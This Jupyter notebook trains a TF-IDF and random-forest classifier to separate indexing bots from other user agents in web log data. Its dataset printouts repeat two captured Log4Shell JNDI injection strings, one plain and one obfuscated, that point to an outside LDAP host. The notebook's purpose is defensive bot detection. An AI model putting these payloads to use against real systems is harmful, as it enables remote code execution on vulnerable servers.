text_classification_bot_protection.ipynb

{
 "cells": [
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:38.654620Z",
     "start_time": "2024-12-20T13:44:38.529854Z"
    }
   },
   "source": [
    "#import libraries\n",
    "import pandas as pd\n",
    "from sklearn.feature_extraction.text import TfidfVectorizer\n",
    "from sklearn import model_selection, preprocessing, linear_model, naive_bayes, metrics, svm\n",
    "from sklearn import ensemble\n",
    "from keras import layers, models, optimizers\n",
    "import numpy\n",
    "import re\n",
    "\n",
    "trainDF = pd.read_csv('data/indexing_bots.csv', sep='\\t')\n",
    "trainDF"
   ],
   "outputs": [
    {
     "data": {
      "text/plain": [
       "        count                                         user_agent  \\\n",
       "0           1  ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}$...   \n",
       "1           1         ${jndi:ldap://121.140.99.236:1389/Exploit}   \n",
       "2           1  1st ZipCommander (Net) - http://www.zipcommand...   \n",
       "3           1                                       AccompanyBot   \n",
       "4           1                                       AccompanyBot   \n",
       "...       ...                                                ...   \n",
       "174507      1                               WhatsApp/2.2147.16 N   \n",
       "174508      1                               WhatsApp/2.22.1.10 A   \n",
       "174509      2  WordPress/5.8.2; https://autorunsclothing.fisk...   \n",
       "174510      1        XenForo/2.x (https://www.mtb-news.de/forum)   \n",
       "174511      1      ZoominfoBot (zoominfobot at zoominfo dot com)   \n",
       "\n",
       "        is_indexing_bot  \n",
       "0                     0  \n",
       "1                     0  \n",
       "2                     0  \n",
       "3                     0  \n",
       "4                     0  \n",
       "...                 ...  \n",
       "174507                0  \n",
       "174508                0  \n",
       "174509                0  \n",
       "174510                0  \n",
       "174511                0  \n",
       "\n",
       "[174512 rows x 3 columns]"
      ],
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>count</th>\n",
       "      <th>user_agent</th>\n",
       "      <th>is_indexing_bot</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>1</td>\n",
       "      <td>${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}$...</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>1</td>\n",
       "      <td>${jndi:ldap://121.140.99.236:1389/Exploit}</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>1</td>\n",
       "      <td>1st ZipCommander (Net) - http://www.zipcommand...</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>1</td>\n",
       "      <td>AccompanyBot</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>1</td>\n",
       "      <td>AccompanyBot</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>...</th>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>174507</th>\n",
       "      <td>1</td>\n",
       "      <td>WhatsApp/2.2147.16 N</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>174508</th>\n",
       "      <td>1</td>\n",
       "      <td>WhatsApp/2.22.1.10 A</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>174509</th>\n",
       "      <td>2</td>\n",
       "      <td>WordPress/5.8.2; https://autorunsclothing.fisk...</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>174510</th>\n",
       "      <td>1</td>\n",
       "      <td>XenForo/2.x (https://www.mtb-news.de/forum)</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>174511</th>\n",
       "      <td>1</td>\n",
       "      <td>ZoominfoBot (zoominfobot at zoominfo dot com)</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>174512 rows × 3 columns</p>\n",
       "</div>"
      ]
     },
     "execution_count": 4,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "execution_count": 4
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:38.793346Z",
     "start_time": "2024-12-20T13:44:38.680713Z"
    }
   },
   "source": [
    "# analyze dataset\n",
    "# check number of words in each review\n",
    "train = trainDF.copy()\n",
    "train['word_count'] = train['user_agent'].apply(lambda x: len(str(x).split(\" \")))\n",
    "print(train[['user_agent','word_count']].head())\n",
    "print(train['word_count'].max())\n",
    "print(train['word_count'].min())\n",
    "print(train['word_count'].mean())"
   ],
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "                                          user_agent  word_count\n",
      "0  ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}$...           1\n",
      "1         ${jndi:ldap://121.140.99.236:1389/Exploit}           1\n",
      "2  1st ZipCommander (Net) - http://www.zipcommand...           5\n",
      "3                                       AccompanyBot           1\n",
      "4                                       AccompanyBot           1\n",
      "37\n",
      "1\n",
      "13.732912349867059\n"
     ]
    }
   ],
   "execution_count": 5
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:38.893958Z",
     "start_time": "2024-12-20T13:44:38.840151Z"
    }
   },
   "source": [
    "# check character number\n",
    "train['char_count'] = train['user_agent'].str.len() ## this also includes spaces\n",
    "train[['user_agent','char_count']].head()"
   ],
   "outputs": [
    {
     "data": {
      "text/plain": [
       "                                          user_agent  char_count\n",
       "0  ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}$...         245\n",
       "1         ${jndi:ldap://121.140.99.236:1389/Exploit}          42\n",
       "2  1st ZipCommander (Net) - http://www.zipcommand...          53\n",
       "3                                       AccompanyBot          12\n",
       "4                                       AccompanyBot          12"
      ],
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>user_agent</th>\n",
       "      <th>char_count</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}$...</td>\n",
       "      <td>245</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>${jndi:ldap://121.140.99.236:1389/Exploit}</td>\n",
       "      <td>42</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>1st ZipCommander (Net) - http://www.zipcommand...</td>\n",
       "      <td>53</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>AccompanyBot</td>\n",
       "      <td>12</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>AccompanyBot</td>\n",
       "      <td>12</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ]
     },
     "execution_count": 6,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "execution_count": 6
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:39.201276Z",
     "start_time": "2024-12-20T13:44:38.984211Z"
    }
   },
   "source": [
    "train['user_agent'] = train['user_agent'].apply(lambda x: str(x))\n",
    "# check average word length\n",
    "def avg_word(sentence):\n",
    "  words = sentence.split()\n",
    "  return (sum(len(word) for word in words)/len(words))\n",
    "\n",
    "train['avg_word'] = train['user_agent'].apply(lambda x: avg_word(x))\n",
    "train[['user_agent','avg_word']].head()"
   ],
   "outputs": [
    {
     "data": {
      "text/plain": [
       "                                          user_agent  avg_word\n",
       "0  ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}$...     245.0\n",
       "1         ${jndi:ldap://121.140.99.236:1389/Exploit}      42.0\n",
       "2  1st ZipCommander (Net) - http://www.zipcommand...       9.8\n",
       "3                                       AccompanyBot      12.0\n",
       "4                                       AccompanyBot      12.0"
      ],
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>user_agent</th>\n",
       "      <th>avg_word</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}$...</td>\n",
       "      <td>245.0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>${jndi:ldap://121.140.99.236:1389/Exploit}</td>\n",
       "      <td>42.0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>1st ZipCommander (Net) - http://www.zipcommand...</td>\n",
       "      <td>9.8</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>AccompanyBot</td>\n",
       "      <td>12.0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>AccompanyBot</td>\n",
       "      <td>12.0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ]
     },
     "execution_count": 7,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "execution_count": 7
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:39.441402Z",
     "start_time": "2024-12-20T13:44:39.275516Z"
    }
   },
   "source": [
    "# check numeric characters number\n",
    "train['numerics'] = train['user_agent'].apply(lambda x: len([x for x in x.split(' ') if x.isnumeric()]))\n",
    "print(train[['user_agent','numerics']].head())\n",
    "print(train['numerics'].max())\n",
    "print(train['numerics'].min())\n",
    "print(train['numerics'].mean())"
   ],
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "                                          user_agent  numerics\n",
      "0  ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}$...         0\n",
      "1         ${jndi:ldap://121.140.99.236:1389/Exploit}         0\n",
      "2  1st ZipCommander (Net) - http://www.zipcommand...         0\n",
      "3                                       AccompanyBot         0\n",
      "4                                       AccompanyBot         0\n",
      "2\n",
      "0\n",
      "0.008016640689465481\n"
     ]
    }
   ],
   "execution_count": 8
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:39.685894Z",
     "start_time": "2024-12-20T13:44:39.499021Z"
    }
   },
   "source": [
    "# check number of upper case letters\n",
    "train['upper'] = train['user_agent'].apply(lambda x: len([x for x in x.split() if x.isupper()]))\n",
    "print(train[['user_agent','upper']].head())\n",
    "print(train['upper'].max())\n",
    "print(train['upper'].min())\n",
    "print(train['upper'].mean())"
   ],
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "                                          user_agent  upper\n",
      "0  ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}$...      0\n",
      "1         ${jndi:ldap://121.140.99.236:1389/Exploit}      0\n",
      "2  1st ZipCommander (Net) - http://www.zipcommand...      0\n",
      "3                                       AccompanyBot      0\n",
      "4                                       AccompanyBot      0\n",
      "14\n",
      "0\n",
      "3.191717475016045\n"
     ]
    }
   ],
   "execution_count": 9
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:40.042798Z",
     "start_time": "2024-12-20T13:44:39.706456Z"
    }
   },
   "source": [
    "# check number of punctuation characters\n",
    "train['punctuation'] = train['user_agent'].apply(lambda x: len(re.findall(r'[\\.,?!;:]', x)))\n",
    "print(train['punctuation'].max())\n",
    "print(train['punctuation'].min())\n",
    "print(train['punctuation'].mean())"
   ],
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "33\n",
      "0\n",
      "8.58726047492436\n"
     ]
    }
   ],
   "execution_count": 10
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:40.363453Z",
     "start_time": "2024-12-20T13:44:40.097784Z"
    }
   },
   "source": [
    "# normalize text\n",
    "# apply lowercase\n",
    "trainDFRaw = trainDF.copy()\n",
    "trainDF['user_agent'] = trainDF['user_agent'].apply(lambda x: \" \".join(x.lower() for x in str(x).split()))\n",
    "trainDF['user_agent'].head()"
   ],
   "outputs": [
    {
     "data": {
      "text/plain": [
       "0    ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}$...\n",
       "1           ${jndi:ldap://121.140.99.236:1389/exploit}\n",
       "2    1st zipcommander (net) - http://www.zipcommand...\n",
       "3                                         accompanybot\n",
       "4                                         accompanybot\n",
       "Name: user_agent, dtype: object"
      ]
     },
     "execution_count": 11,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "execution_count": 11
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:41.066813Z",
     "start_time": "2024-12-20T13:44:40.402726Z"
    }
   },
   "source": [
    "# remove special characters\n",
    "trainDF['user_agent'] = trainDF['user_agent'].str.replace('[^\\w\\s]',' ')\n",
    "trainDF['user_agent'].head()"
   ],
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "<>:2: SyntaxWarning: invalid escape sequence '\\w'\n",
      "<>:2: SyntaxWarning: invalid escape sequence '\\w'\n",
      "/tmp/ipykernel_11751/4249854742.py:2: SyntaxWarning: invalid escape sequence '\\w'\n",
      "  trainDF['user_agent'] = trainDF['user_agent'].str.replace('[^\\w\\s]',' ')\n",
      "/tmp/ipykernel_11751/4249854742.py:2: FutureWarning: The default value of regex will change from True to False in a future version.\n",
      "  trainDF['user_agent'] = trainDF['user_agent'].str.replace('[^\\w\\s]',' ')\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "0           j      n      d      i       l      d  ...\n",
       "1             jndi ldap   121 140 99 236 1389 exploit \n",
       "2    1st zipcommander  net    http   www zipcommand...\n",
       "3                                         accompanybot\n",
       "4                                         accompanybot\n",
       "Name: user_agent, dtype: object"
      ]
     },
     "execution_count": 12,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "execution_count": 12
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:41.116886Z",
     "start_time": "2024-12-20T13:44:41.086974Z"
    }
   },
   "source": [
    "# prepare model\n",
    "# split data to train and test set\n",
    "train_x, valid_x, train_y, valid_y = model_selection.train_test_split(trainDF['user_agent'], trainDF['is_indexing_bot'])\n",
    "\n",
    "# encode categorical values\n",
    "encoder = preprocessing.LabelEncoder()\n",
    "train_y = encoder.fit_transform(train_y)\n",
    "valid_y = encoder.fit_transform(valid_y)\n",
    "\n",
    "print(valid_y)"
   ],
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[0 0 0 ... 0 0 0]\n"
     ]
    }
   ],
   "execution_count": 13
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:41.150485Z",
     "start_time": "2024-12-20T13:44:41.144169Z"
    }
   },
   "source": [
    "train_x[100]\n"
   ],
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'chimeunfurlagent'"
      ]
     },
     "execution_count": 14,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "execution_count": 14
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:44.909268Z",
     "start_time": "2024-12-20T13:44:41.206907Z"
    }
   },
   "source": [
    "# encode text to TF-IDF numeric vectors\n",
    "tfidf_vect = TfidfVectorizer(analyzer='word', token_pattern=r'\\w{1,}', max_features=5000)\n",
    "tfidf_vect.fit(trainDF['user_agent'])\n",
    "xtrain_tfidf =  tfidf_vect.transform(train_x)\n",
    "xvalid_tfidf =  tfidf_vect.transform(valid_x)\n"
   ],
   "outputs": [],
   "execution_count": 15
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:44.942237Z",
     "start_time": "2024-12-20T13:44:44.930515Z"
    }
   },
   "source": [
    "print(xtrain_tfidf[100])\n",
    "len(tfidf_vect.get_feature_names_out())"
   ],
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "  (0, 0)\t0.15564567536064763\n",
      "  (0, 58)\t0.18921812201079702\n",
      "  (0, 820)\t0.2855150443950242\n",
      "  (0, 966)\t0.1626361263245601\n",
      "  (0, 989)\t0.07792145601398631\n",
      "  (0, 1027)\t0.2854386353727038\n",
      "  (0, 1233)\t0.31573752397694616\n",
      "  (0, 1249)\t0.16247202180255116\n",
      "  (0, 1594)\t0.15774554107169272\n",
      "  (0, 1613)\t0.08607732539011413\n",
      "  (0, 1805)\t0.14267906849158749\n",
      "  (0, 2073)\t0.5697893549787024\n",
      "  (0, 2364)\t0.07832706654068454\n",
      "  (0, 2722)\t0.08607881399190298\n",
      "  (0, 2802)\t0.08600243610091232\n",
      "  (0, 2807)\t0.15894331357600497\n",
      "  (0, 2831)\t0.4126485643251765\n",
      "  (0, 2957)\t0.10516403586131276\n",
      "  (0, 2967)\t0.07793887231409004\n",
      "  (0, 3371)\t0.08625665989492019\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "3871"
      ]
     },
     "execution_count": 16,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "execution_count": 16
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:44.972804Z",
     "start_time": "2024-12-20T13:44:44.968987Z"
    }
   },
   "source": [
    "# universal method for model training\n",
    "\n",
    "def train_model(classifier, feature_vector_train, label, feature_vector_valid, is_neural_net=False):\n",
    "    # train model\n",
    "    classifier.fit(feature_vector_train, label)\n",
    "    \n",
    "    # generate predictions for test set\n",
    "    predictions = classifier.predict(feature_vector_valid)\n",
    "    \n",
    "    if is_neural_net:\n",
    "        predictions = predictions.argmax(axis=-1)\n",
    "    \n",
    "    # evaluate model\n",
    "    scores = list(metrics.precision_recall_fscore_support(predictions, valid_y))\n",
    "    score_vals = [\n",
    "        scores[0][0],\n",
    "        scores[1][0],\n",
    "        scores[2][0]\n",
    "    ]\n",
    "    score_vals.append(metrics.accuracy_score(predictions, valid_y))\n",
    "    return score_vals"
   ],
   "outputs": [],
   "execution_count": 17
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:50.666024Z",
     "start_time": "2024-12-20T13:44:45.047364Z"
    }
   },
   "source": [
    "# MODEL - Random Forest Tree \n",
    "import time\n",
    "\n",
    "ut = time.time()\n",
    "print(len(train_x))\n",
    "accuracy = train_model(ensemble.RandomForestClassifier(), xtrain_tfidf, train_y, xvalid_tfidf)\n",
    "accuracy_compare = accuracy\n",
    "print (\"RF, WordLevel TF-IDF: \", accuracy)\n",
    "print(time.time() - ut)"
   ],
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "130884\n",
      "RF, WordLevel TF-IDF:  [1.0, 0.9999770631680353, 0.9999885314524916, 0.9999770789401302]\n",
      "5.616567134857178\n"
     ]
    }
   ],
   "execution_count": 18
  },
  {
   "cell_type": "code",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2024-12-20T13:44:50.677461Z",
     "start_time": "2024-12-20T13:44:50.675824Z"
    }
   },
   "source": [],
   "outputs": [],
   "execution_count": null
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.12"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}